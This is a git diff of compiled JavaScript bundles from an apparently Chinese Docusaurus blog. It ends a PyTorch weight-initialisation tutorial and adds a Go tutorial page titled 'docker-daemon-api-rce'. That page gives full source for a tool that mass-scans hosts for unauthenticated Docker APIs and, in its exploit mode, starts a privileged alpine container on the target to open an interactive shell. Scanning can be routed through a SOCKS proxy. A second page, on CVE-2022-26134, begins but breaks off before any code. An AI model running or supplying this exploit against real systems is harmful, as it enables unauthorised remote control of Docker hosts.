\u6a21\u5757\uff08\u56de\u987e3.4\u6a21\u578b\u6784\u5efa\uff09\u5c5e\u4e8e\u4ec0\u4e48\u7c7b\u578b\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"import torch\nimport torch.nn as nn\n\nconv = nn.Conv2d(1,3,3)\nlinear = nn.Linear(10,1)\n\nisinstance(conv,nn.Conv2d) # \u5224\u65adconv\u662f\u5426\u662fnn.Conv2d\u7c7b\u578b\nisinstance(linear,nn.Conv2d) # \u5224\u65adlinear\u662f\u5426\u662fnn.Conv2d\u7c7b\u578b\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"True\nFalse\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u5bf9\u4e8e\u4e0d\u540c\u7684\u7c7b\u578b\u5c42\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u8bbe\u7f6e\u4e0d\u540c\u7684\u6743\u503c\u521d\u59cb\u5316\u7684\u65b9\u6cd5\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"# \u67e5\u770b\u968f\u673a\u521d\u59cb\u5316\u7684conv\u53c2\u6570\nconv.weight.data\n# \u67e5\u770blinear\u7684\u53c2\u6570\nlinear.weight.data\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"tensor([[[[ 0.1174, 0.1071, 0.2977],\n [-0.2634, -0.0583, -0.2465],\n [ 0.1726, -0.0452, -0.2354]]],\n [[[ 0.1382, 0.1853, -0.1515],\n [ 0.0561, 0.2798, -0.2488],\n [-0.1288, 0.0031, 0.2826]]],\n [[[ 0.2655, 0.2566, -0.1276],\n [ 0.1905, -0.1308, 0.2933],\n [ 0.0557, -0.1880, 0.0669]]]])\n\ntensor([[-0.0089, 0.1186, 0.1213, -0.2569, 0.1381, 0.3125, 0.1118, -0.0063, -0.2330, 0.1956]])\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"# \u5bf9conv\u8fdb\u884ckaiming\u521d\u59cb\u5316\ntorch.nn.init.kaiming_normal_(conv.weight.data)\nconv.weight.data\n# \u5bf9linear\u8fdb\u884c\u5e38\u6570\u521d\u59cb\u5316\ntorch.nn.init.constant_(linear.weight.data,0.3)\nlinear.weight.data\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"tensor([[[[ 0.3249, -0.0500, 0.6703],\n [-0.3561, 0.0946, 0.4380],\n [-0.9426, 0.9116, 0.4374]]],\n [[[ 0.6727, 0.9885, 0.1635],\n [ 0.7218, -1.2841, -0.2970],\n [-0.9128, -0.1134, -0.3846]]],\n [[[ 0.2018, 0.4668, -0.0937],\n [-0.2701, -0.3073, 0.6686],\n [-0.3269, -0.0094, 0.3246]]]])\ntensor([[0.3000, 0.3000, 0.3000, 0.3000, 0.3000, 0.3000, 0.3000, 0.3000, 0.3000,0.3000]])\n"})}),"\n",(0,r.jsx)(e.h2,{id:"\u521d\u59cb\u5316\u51fd\u6570\u7684\u5c01\u88c5",children:"\u521d\u59cb\u5316\u51fd\u6570\u7684\u5c01\u88c5"}),"\n",(0,r.jsxs)(e.p,{children:["\u4eba\u4eec\u5e38\u5e38\u5c06\u5404\u79cd\u521d\u59cb\u5316\u65b9\u6cd5\u5b9a\u4e49\u4e3a\u4e00\u4e2a",(0,r.jsx)(e.code,{children:"initialize_weights()"}),"\u7684\u51fd\u6570\u5e76\u5728\u6a21\u578b\u521d\u59cb\u540e\u8fdb\u884c\u4f7f\u7528\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"def initialize_weights(model):\n\tfor m in model.modules():\n\t\t# \u5224\u65ad\u662f\u5426\u5c5e\u4e8eConv2d\n\t\tif isinstance(m, nn.Conv2d):\n\t\t\ttorch.nn.init.zeros_(m.weight.data)\n\t\t\t# \u5224\u65ad\u662f\u5426\u6709\u504f\u7f6e\n\t\t\tif m.bias is not None:\n\t\t\t\ttorch.nn.init.constant_(m.bias.data,0.3)\n\t\telif isinstance(m, nn.Linear):\n\t\t\ttorch.nn.init.normal_(m.weight.data, 0.1)\n\t\t\tif m.bias is not None:\n\t\t\t\ttorch.nn.init.zeros_(m.bias.data)\n\t\telif isinstance(m, nn.BatchNorm2d):\n\t\t\tm.weight.data.fill_(1) \t\t \n\t\t\tm.bias.data.zeros_()\t\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u6bb5\u4ee3\u7801\u6d41\u7a0b\u662f\u904d\u5386\u5f53\u524d\u6a21\u578b\u7684\u6bcf\u4e00\u5c42\uff0c\u7136\u540e\u5224\u65ad\u5404\u5c42\u5c5e\u4e8e\u4ec0\u4e48\u7c7b\u578b\uff0c\u7136\u540e\u6839\u636e\u4e0d\u540c\u7c7b\u578b\u5c42\uff0c\u8bbe\u5b9a\u4e0d\u540c\u7684\u6743\u503c\u521d\u59cb\u5316\u65b9\u6cd5\u3002\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u4e0b\u9762\u7684\u4f8b\u7a0b\u8fdb\u884c\u4e00\u4e2a\u7b80\u77ed\u7684\u6f14\u793a\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'# \u6a21\u578b\u7684\u5b9a\u4e49\nclass MLP(nn.Module):\n # \u58f0\u660e\u5e26\u6709\u6a21\u578b\u53c2\u6570\u7684\u5c42\uff0c\u8fd9\u91cc\u58f0\u660e\u4e86\u4e24\u4e2a\u5168\u8fde\u63a5\u5c42\n def __init__(self, **kwargs):\n # \u8c03\u7528MLP\u7236\u7c7bBlock\u7684\u6784\u9020\u51fd\u6570\u6765\u8fdb\u884c\u5fc5\u8981\u7684\u521d\u59cb\u5316\u3002\u8fd9\u6837\u5728\u6784\u9020\u5b9e\u4f8b\u65f6\u8fd8\u53ef\u4ee5\u6307\u5b9a\u5176\u4ed6\u51fd\u6570\n super(MLP, self).__init__(**kwargs)\n self.hidden = nn.Conv2d(1,1,3)\n self.act = nn.ReLU()\n self.output = nn.Linear(10,1)\n \n # \u5b9a\u4e49\u6a21\u578b\u7684\u524d\u5411\u8ba1\u7b97\uff0c\u5373\u5982\u4f55\u6839\u636e\u8f93\u5165x\u8ba1\u7b97\u8fd4\u56de\u6240\u9700\u8981\u7684\u6a21\u578b\u8f93\u51fa\n def forward(self, x):\n o = self.act(self.hidden(x))\n return self.output(o)\n\nmlp = MLP()\nprint(mlp.hidden.weight.data)\nprint("-------\u521d\u59cb\u5316-------")\n\nmlp.apply(initialize_weights)\n# \u6216\u8005initialize_weights(mlp)\nprint(mlp.hidden.weight.data)\n'})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'tensor([[[[ 0.3069, -0.1865, 0.0182],\n [ 0.2475, 0.3330, 0.1352],\n [-0.0247, -0.0786, 0.1278]]]])\n"-------\u521d\u59cb\u5316-------"\ntensor([[[[0., 0., 0.],\n [0., 0., 0.],\n [0., 0., 0.]]]])\n'})}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"\u6ce8\u610f\uff1a"}),"\n\u6211\u4eec\u5728\u521d\u59cb\u5316\u65f6\uff0c\u6700\u597d\u4e0d\u8981\u5c06\u6a21\u578b\u7684\u53c2\u6570\u521d\u59cb\u5316\u4e3a0\uff0c\u56e0\u4e3a\u8fd9\u6837\u4f1a\u5bfc\u81f4\u68af\u5ea6\u6d88\u5931\uff0c\u4ece\u800c\u5f71\u54cd\u6a21\u578b\u7684\u8bad\u7ec3\u6548\u679c\u3002\u56e0\u6b64\uff0c\u6211\u4eec\u5728\u521d\u59cb\u5316\u65f6\uff0c\u53ef\u4ee5\u4f7f\u7528\u5176\u4ed6\u521d\u59cb\u5316\u65b9\u6cd5\u6216\u8005\u5c06\u6a21\u578b\u521d\u59cb\u5316\u4e3a\u4e00\u4e2a\u5f88\u5c0f\u7684\u503c\uff0c\u59820.01\uff0c0.1\u7b49\u3002"]})]})}function a(n={}){const{wrapper:e}={...(0,s.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(h,{...n})}):h(n)}}}]); \ No newline at end of file diff --git a/assets/js/ae8ff70a.88392d2d.js b/assets/js/ae8ff70a.88392d2d.js new file mode 100644 index 0000000..1918227 --- /dev/null +++ b/assets/js/ae8ff70a.88392d2d.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6143],{28453:(t,n,e)=>{e.d(n,{R:()=>c,x:()=>o});var r=e(96540);const i={},a=r.createContext(i);function c(t){const n=r.useContext(a);return r.useMemo(function(){return"function"==typeof t?t(n):{...n,...t}},[n,t])}function o(t){let n;return n=t.disableParentContext?"function"==typeof t.components?t.components(i):t.components||i:c(t.components),r.createElement(a.Provider,{value:n},t.children)}},42497:(t,n,e)=>{e.d(n,{A:()=>r});const r=e.p+"assets/images/image-20221227164823898-bc8258b634bb3b503bc6dbc2c5487bbd.png"},87585:(t,n,e)=>{e.r(n),e.d(n,{assets:()=>s,contentTitle:()=>o,default:()=>l,frontMatter:()=>c,metadata:()=>r,toc:()=>g});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-Docker-Daemon-Api-Rce","title":"docker-daemon-api-rce","description":"[!Note]","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/03.Go\u4ee3\u7801\u6848\u4f8b/01.GoLang-\u7f16\u5199POC/02.GoLang-Docker-Daemon-Api-Rce.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/03.Go\u4ee3\u7801\u6848\u4f8b/01.GoLang-\u7f16\u5199POC","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-Docker-Daemon-Api-Rce","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-Docker-Daemon-Api-Rce","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/03.Go\u4ee3\u7801\u6848\u4f8b/01.GoLang-\u7f16\u5199POC/02.GoLang-Docker-Daemon-Api-Rce.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"CVE-2022-26134","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-CVE-2022-26134"},"next":{"title":"go-proxy-http","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7b80\u6613http\u4ee3\u7406"}}');var i=e(74848),a=e(28453);const c={},o="docker-daemon-api-rce",s={},g=[{value:"\u77e5\u8bc6\u70b9",id:"\u77e5\u8bc6\u70b9",level:2},{value:"\u5e76\u53d1",id:"\u5e76\u53d1",level:3},{value:"\u547d\u4ee4\u884c\u4ea4\u4e92\u5f0f\u8f93\u5165\u8f93\u51fa",id:"\u547d\u4ee4\u884c\u4ea4\u4e92\u5f0f\u8f93\u5165\u8f93\u51fa",level:3},{value:"go \u7ed9\u6bcf\u4e2acmd\u8bbe\u7f6e\u73af\u5883\u53d8\u91cf",id:"go-\u7ed9\u6bcf\u4e2acmd\u8bbe\u7f6e\u73af\u5883\u53d8\u91cf",level:3},{value:"\u4ee3\u7801",id:"\u4ee3\u7801",level:2},{value:"\u8fd0\u884c\u793a\u4f8b\u56fe",id:"\u8fd0\u884c\u793a\u4f8b\u56fe",level:2}];function d(t){const n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",p:"p",pre:"pre",...(0,a.R)(),...t.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(n.header,{children:(0,i.jsx)(n.h1,{id:"docker-daemon-api-rce",children:"docker-daemon-api-rce"})}),"\n",(0,i.jsxs)(n.blockquote,{children:["\n",(0,i.jsx)(n.p,{children:"[!Note]"}),"\n",(0,i.jsxs)(n.p,{children:["\u9879\u76ee\uff1a",(0,i.jsx)(n.a,{href:"https://github.com/wjlin0/docker-daemon-api-rce",children:"docker-daemon-api-rce-wjlin0"})]}),"\n"]}),"\n",(0,i.jsx)(n.h2,{id:"\u77e5\u8bc6\u70b9",children:"\u77e5\u8bc6\u70b9"}),"\n",(0,i.jsx)(n.h3,{id:"\u5e76\u53d1",children:"\u5e76\u53d1"}),"\n",(0,i.jsxs)(n.blockquote,{children:["\n",(0,i.jsx)(n.p,{children:"\u5229\u7528Goroutine \u5feb\u901f\u5b9e\u73b0\u5927\u91cf\u5e76\u53d1"}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'c1 := make(chan map[interface{}]interface{}, thread)\nfor _, t := range targets {\n //\u5229\u7528 go \u5173\u952e\u5b57 \u5f00\u542f gorountine \n //wg.Add(1)\n go check(t, c1)\n}\nfor _, _ = range targets {\n // \u4ece\u901a\u9053\u5185\u53d6\u503c\n b := <-c1\n fmt.Printf("%v\\n", b)\n}\n//wg.Wait()\n'})}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'func check(t string, ch chan map[interface{}]interface{}) {\nfmt.Println("\u5f00\u59cb\u68c0\u6d4b\u76ee\u6807 ", t)\n\tb := func() (b map[interface{}]interface{}) {\n\t\tb = map[interface{}]interface{}{}\n\t\tcmd := exec.Command("docker", "-H", t, "ps")\n\t\tcheckSocksProxy(cmd)\n\t\t//fmt.Println(cmd)\n\t\tout, err := cmd.CombinedOutput()\n\t\tif err != nil {\n\t\t\tb[t] = false\n\t\t\treturn b\n\t\t}\n\t\tif strings.Contains(string(out), "CONTAINER") && strings.Contains(string(out), "ID") && strings.Contains(string(out), "IMAGE") && strings.Contains(string(out), "COMMAND") && strings.Contains(string(out), "CREATED") {\n\t\t\tb[t] = true\n\t\t\treturn b\n\t\t} else {\n\t\t\tb[t] = true\n\t\t\treturn b\n\t\t}\n\t}()\n // \u5c06\u7ed3\u679c\u4f20\u5165\u901a\u9053ch\u4e2d\n\tch <- b\n}\n'})}),"\n",(0,i.jsx)(n.h3,{id:"\u547d\u4ee4\u884c\u4ea4\u4e92\u5f0f\u8f93\u5165\u8f93\u51fa",children:"\u547d\u4ee4\u884c\u4ea4\u4e92\u5f0f\u8f93\u5165\u8f93\u51fa"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'cmd := exec.Command("docker", "-H", t, "run", "-it", "--rm", "--privileged", "alpine", "/bin/sh")\ncheckSocksProxy(cmd)\ncmd.Stdin = os.Stdin\ncmd.Stdout = os.Stdout\ncmd.Stderr = os.Stderr\nerr := cmd.Start()\nif err != nil {\n return\n}\nerr = cmd.Wait()\nif err != nil {\n fmt.Println("\u653b\u51fb\u5229\u7528\u5931\u8d25")\n return\n}\n'})}),"\n",(0,i.jsx)(n.h3,{id:"go-\u7ed9\u6bcf\u4e2acmd\u8bbe\u7f6e\u73af\u5883\u53d8\u91cf",children:"go \u7ed9\u6bcf\u4e2acmd\u8bbe\u7f6e\u73af\u5883\u53d8\u91cf"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'var cmdEnv []string\ncmdEnv = append(cmdEnv, "ALL_PROXY="+proxy)\ncmd.Env = cmdEnv\n'})}),"\n",(0,i.jsx)(n.h2,{id:"\u4ee3\u7801",children:"\u4ee3\u7801"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'package main\n\nimport (\n\t"bufio"\n\t"flag"\n\t"fmt"\n\t"io"\n\t"os"\n\t"os/exec"\n\t"regexp"\n\t"strings"\n)\n\nvar target string\nvar targets []string\nvar list string\nvar proxy string\nvar mod string\nvar thread int\n\n//var wg sync.WaitGroup\n\nfunc main() {\n\tInit()\n\tBanner()\n\tflag.Parse()\n\tcheckArgs()\n\tcheckDocker()\n\tif proxy != "" {\n\t\tfmt.Println("\u8bbe\u7f6e\u4ee3\u7406: " + proxy)\n\t}\n\tswitch mod {\n\tcase "check":\n\t\tc1 := make(chan map[interface{}]interface{}, thread)\n\t\tfor _, t := range targets {\n\t\t\t//wg.Add(1)\n\t\t\tgo check(t, c1)\n\t\t}\n\t\tfor _, _ = range targets {\n\t\t\tb := <-c1\n\t\t\tfmt.Printf("%v\\n", b)\n\t\t}\n\t\t//wg.Wait()\n\tcase "exp":\n\t\texp()\n\tdefault:\n\t\tos.Exit(-1)\n\t}\n}\n\nfunc checkDocker() {\n\tcmd := exec.Command("docker", "--version")\n\tout, err := cmd.CombinedOutput()\n\tif err != nil {\n\t\tfmt.Println("\u68c0\u67e5Docker\u662f\u5426\u5b58\u5728\u65f6\uff0c\u51fa\u73b0\u9519\u8bef")\n\t\tpanic(err)\n\t}\n\tif !strings.Contains(string(out), "Docker version") {\n\t\tfmt.Println("docker\u672a\u542f\u52a8 \u6216 \u4e0d\u5b58\u5728docker\uff0c\u8bf7\u68c0\u67e5")\n\t\tos.Exit(-1)\n\t}\n}\nfunc Init() {\n\tflag.StringVar(&target, "target", "", "\u76ee\u6807")\n\tflag.StringVar(&list, "list", "", "\u76ee\u6807\u5217\u8868")\n\tflag.StringVar(&proxy, "proxy", "", "\u4ee3\u7406")\n\tflag.IntVar(&thread, "thread", 20, "\u5e76\u53d1\u91cf\uff08\u4ec5\u5728check\u6a21\u5f0f\u4e0b\u751f\u6548\uff09")\n\tflag.StringVar(&mod, "mod", "check", "\u6a21\u5f0f\uff08check|exp\uff09")\n}\nfunc Banner() {\n\n\tfmt.Println(`\n __.__ .__ _______ \n__ _ __ |__| | |__| ____ \\ _ \\ \n\\ \\/ \\/ / | | | | |/ \\/ /_\\ \\ \n \\ / | | |_| | | \\ \\_/ \\\n \\/\\_/\\__| |____/__|___| /\\_____ /\n \\______| \\/ \\/ \n Docker Api \u672a\u6388\u6743\u8bbf\u95ee `)\n}\nfunc urlHandler(target string) string {\n\tif strings.HasSuffix(target, "/") { // \u53bb\u6389\u540e\u7f00 /\n\t\ttarget = strings.TrimSuffix(target, "/")\n\t\t//fmt.Println(target)\n\t}\n\tif !strings.HasPrefix(target, "tcp") {\n\t\ttarget = "tcp://" + target\n\t}\n\tif !strings.HasPrefix(target, "http") {\n\t\ttarget = strings.Replace(target, "http", "tcp", -1)\n\n\t}\n\tif !strings.HasPrefix(target, "https") {\n\t\ttarget = strings.Replace(target, "https", "tcp", -1)\n\n\t}\n\tregIp := regexp.MustCompile(`^[\\d\\.]+$`)\n\tif len(regIp.FindAllString(target, -1)) > 0 {\n\t\tregPort := regexp.MustCompile(`^(tcp://)?\\d+\\.\\d+\\.\\d+\\.\\d+:\\d+$`)\n\t\tif len(regPort.FindAllString(target, -1)) == 0 {\n\t\t\ttarget = target + ":80"\n\t\t}\n\t} else {\n\t\tregPort := regexp.MustCompile(`^(tcp://)?.+:\\d+$`)\n\t\tif len(regPort.FindAllString(target, -1)) == 0 {\n\t\t\ttarget = target + ":80"\n\t\t}\n\t}\n\treturn target\n}\nfunc checkArgs() {\n\tif target != "" {\n\t\ttargets = append(targets, urlHandler(target))\n\t}\n\tif list != "" {\n\t\tfmt.Println("\u6b63\u5728\u6253\u5f00\u6587\u4ef6")\n\t\tfilePath := list\n\t\tfile, err := os.Open(filePath)\n\t\tif err != nil {\n\t\t\tfmt.Println("\u6587\u4ef6\u6253\u5f00\u5931\u8d25", err)\n\t\t}\n\t\tdefer file.Close()\n\t\t//\u8bfb\u539f\u6765\u6587\u4ef6\u7684\u5185\u5bb9\uff0c\u5e76\u4e14\u663e\u793a\u5728\u7ec8\u7aef\n\t\treader := bufio.NewReader(file)\n\t\tfor {\n\t\t\ttarget, err := reader.ReadString(\'\\n\')\n\t\t\tif err != nil {\n\t\t\t\tif err == io.EOF {\n\t\t\t\t\tif target != "" {\n\t\t\t\t\t\ttargets = append(targets, urlHandler(target))\n\t\t\t\t\t}\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\t//fmt.Printf("%#v\\n", target)\n\t\t\ttarget = strings.TrimSpace(target)\n\t\t\tif target == "" {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t//fmt.Printf("%#v\\n", target)\n\t\t\ttargets = append(targets, target)\n\t\t}\n\t}\n\n\tif targets == nil {\n\t\tflag.Usage()\n\t\tos.Exit(0)\n\t}\n}\nfunc check(t string, ch chan map[interface{}]interface{}) {\n\tfmt.Println("\u5f00\u59cb\u68c0\u6d4b\u76ee\u6807 ", t)\n\tb := func() (b map[interface{}]interface{}) {\n\t\tb = map[interface{}]interface{}{}\n\t\tcmd := exec.Command("docker", "-H", t, "ps")\n\t\tcheckSocksProxy(cmd)\n\t\t//fmt.Println(cmd)\n\t\tout, err := cmd.CombinedOutput()\n\t\tif err != nil {\n\t\t\tb[t] = false\n\t\t\treturn b\n\t\t}\n\t\tif strings.Contains(string(out), "CONTAINER") && strings.Contains(string(out), "ID") && strings.Contains(string(out), "IMAGE") && strings.Contains(string(out), "COMMAND") && strings.Contains(string(out), "CREATED") {\n\t\t\tb[t] = true\n\t\t\treturn b\n\t\t} else {\n\t\t\tb[t] = true\n\t\t\treturn b\n\t\t}\n\t}()\n\tch <- b\n\t//wg.Done()\n}\nfunc exp() {\n\tvar t string\n\tvar i int\n\tfmt.Println("\u8bf7\u9009\u62e9\u653b\u51fb\u76ee\u6807")\n\tfor i, tar := range targets {\n\t\tfmt.Println("\u76ee\u6807\uff1a", tar, " , ", i)\n\t}\n\tif len(targets) == 1 {\n\t\tt = targets[0]\n\t} else {\n\t\t_, err := fmt.Scanln(&i)\n\t\tif err != nil {\n\t\t\tt = targets[0]\n\t\t}\n\t}\n\tt = targets[i]\n\tcmd := exec.Command("docker", "-H", t, "run", "-it", "--rm", "--privileged", "alpine", "/bin/sh")\n\tcheckSocksProxy(cmd)\n\tcmd.Stdin = os.Stdin\n\tcmd.Stdout = os.Stdout\n\tcmd.Stderr = os.Stderr\n\terr := cmd.Start()\n\tif err != nil {\n\t\treturn\n\t}\n\terr = cmd.Wait()\n\tif err != nil {\n\t\tfmt.Println("\u653b\u51fb\u5229\u7528\u5931\u8d25")\n\t\treturn\n\t}\n\n}\nfunc checkSocksProxy(cmd *exec.Cmd) {\n\tif proxy == "" {\n\t\treturn\n\t}\n\tproxy = strings.TrimSpace(proxy)\n\tif strings.HasPrefix(target, "http") {\n\t\tfmt.Println("\u68c0\u67e5\u662f\u5426\u4e3asocks\uff084\u30014a\u30015\uff09\u4ee3\u7406")\n\t\tos.Exit(-1)\n\t}\n\n\tvar cmdEnv []string\n\tcmdEnv = append(cmdEnv, "ALL_PROXY="+proxy)\n\tcmd.Env = cmdEnv\n}\n'})}),"\n",(0,i.jsx)(n.h2,{id:"\u8fd0\u884c\u793a\u4f8b\u56fe",children:"\u8fd0\u884c\u793a\u4f8b\u56fe"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20221227164823898",src:e(42497).A+"",width:"805",height:"728"})})]})}function l(t={}){const{wrapper:n}={...(0,a.R)(),...t.components};return n?(0,i.jsx)(n,{...t,children:(0,i.jsx)(d,{...t})}):d(t)}}}]); \ No newline at end of file diff --git a/assets/js/aeef0b14.09a29f11.js b/assets/js/aeef0b14.09a29f11.js new file mode 100644 index 0000000..0888b14 --- /dev/null +++ b/assets/js/aeef0b14.09a29f11.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1885],{8391:(n,t,e)=>{e.d(t,{A:()=>r});const r=e.p+"assets/images/image-20221226125038280-968c0e1909f8702d6f59fa1b830c6f10.png"},25983:(n,t,e)=>{e.d(t,{A:()=>r});const r=e.p+"assets/images/image-20221226124550770-f946363dc429cde59b8cfc330683f9e9.png"},28453:(n,t,e)=>{e.d(t,{R:()=>a,x:()=>l});var r=e(96540);const i={},s=r.createContext(i);function a(n){const t=r.useContext(s);return r.useMemo(function(){return"function"==typeof n?n(t):{...t,...n}},[t,n])}function l(n){let t;return t=n.disableParentContext?"function"==typeof n.components?n.components(i):n.components||i:a(n.components),r.createElement(s.Provider,{value:t},n.children)}},45090:(n,t,e)=>{e.r(t),e.d(t,{assets:()=>o,contentTitle:()=>l,default:()=>d,frontMatter:()=>a,metadata:()=>r,toc:()=>g});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-CVE-2022-26134","title":"CVE-2022-26134","description":"[!Note]","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/03.Go\u4ee3\u7801\u6848\u4f8b/01.GoLang-\u7f16\u5199POC/01.GoLang-CVE-2022-26134.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/03.Go\u4ee3\u7801\u6848\u4f8b/01.GoLang-\u7f16\u5199POC","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-CVE-2022-26134","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-CVE-2022-26134","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/03.Go\u4ee3\u7801\u6848\u4f8b/01.GoLang-\u7f16\u5199POC/01.GoLang-CVE-2022-26134.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"goflags","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-goflags"},"next":{"title":"docker-daemon-api-rce","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-Docker-Daemon-Api-Rce"}}');var i=e(74848),s=e(28453);const a={},l="CVE-2022-26134",o={},g=[{value:"\u77e5\u8bc6\u70b9",id:"\u77e5\u8bc6\u70b9",level:2},{value:"flag\u5305\u4f7f\u7528",id:"flag\u5305\u4f7f\u7528",level:3},{value:"\u6587\u4ef6\u8bfb\u5199",id:"\u6587\u4ef6\u8bfb\u5199",level:3},{value:"\u5b57\u7b26\u4e32\u66ff\u6362",id:"\u5b57\u7b26\u4e32\u66ff\u6362",level:3},{value:"\u8bbe\u7f6e\u8bf7\u6c42\u4ee3\u7406",id:"\u8bbe\u7f6e\u8bf7\u6c42\u4ee3\u7406",level:3},{value:"\u7528\u6237\u8bfb\u5165",id:"\u7528\u6237\u8bfb\u5165",level:3},{value:"\u4ea4\u53c9\u7f16\u8bd1",id:"\u4ea4\u53c9\u7f16\u8bd1",level:3},{value:"windows\u7f16\u8bd1",id:"windows\u7f16\u8bd1",level:4},{value:"linux \u7f16\u8bd1",id:"linux-\u7f16\u8bd1",level:4},{value:"Mac\u7f16\u8bd1",id:"mac\u7f16\u8bd1",level:4},{value:"\u4ee3\u7801",id:"\u4ee3\u7801",level:2},{value:"\u9047\u5230\u7684\u95ee\u9898",id:"\u9047\u5230\u7684\u95ee\u9898",level:2},{value:"go get \u9047\u5230\u7684\u95ee\u9898",id:"go-get-\u9047\u5230\u7684\u95ee\u9898",level:3},{value:"bufio.NewReader.ReadString",id:"bufionewreaderreadstring",level:3},{value:"go \u4ee3\u7406\u7f13\u5b58\u62c9\u53d6\u4e0d\u5230\u6700\u65b0\u7248\u672c",id:"go-\u4ee3\u7406\u7f13\u5b58\u62c9\u53d6\u4e0d\u5230\u6700\u65b0\u7248\u672c",level:3},{value:"\u8fd0\u884c\u5b9e\u4f8b\u56fe",id:"\u8fd0\u884c\u5b9e\u4f8b\u56fe",level:2}];function c(n){const 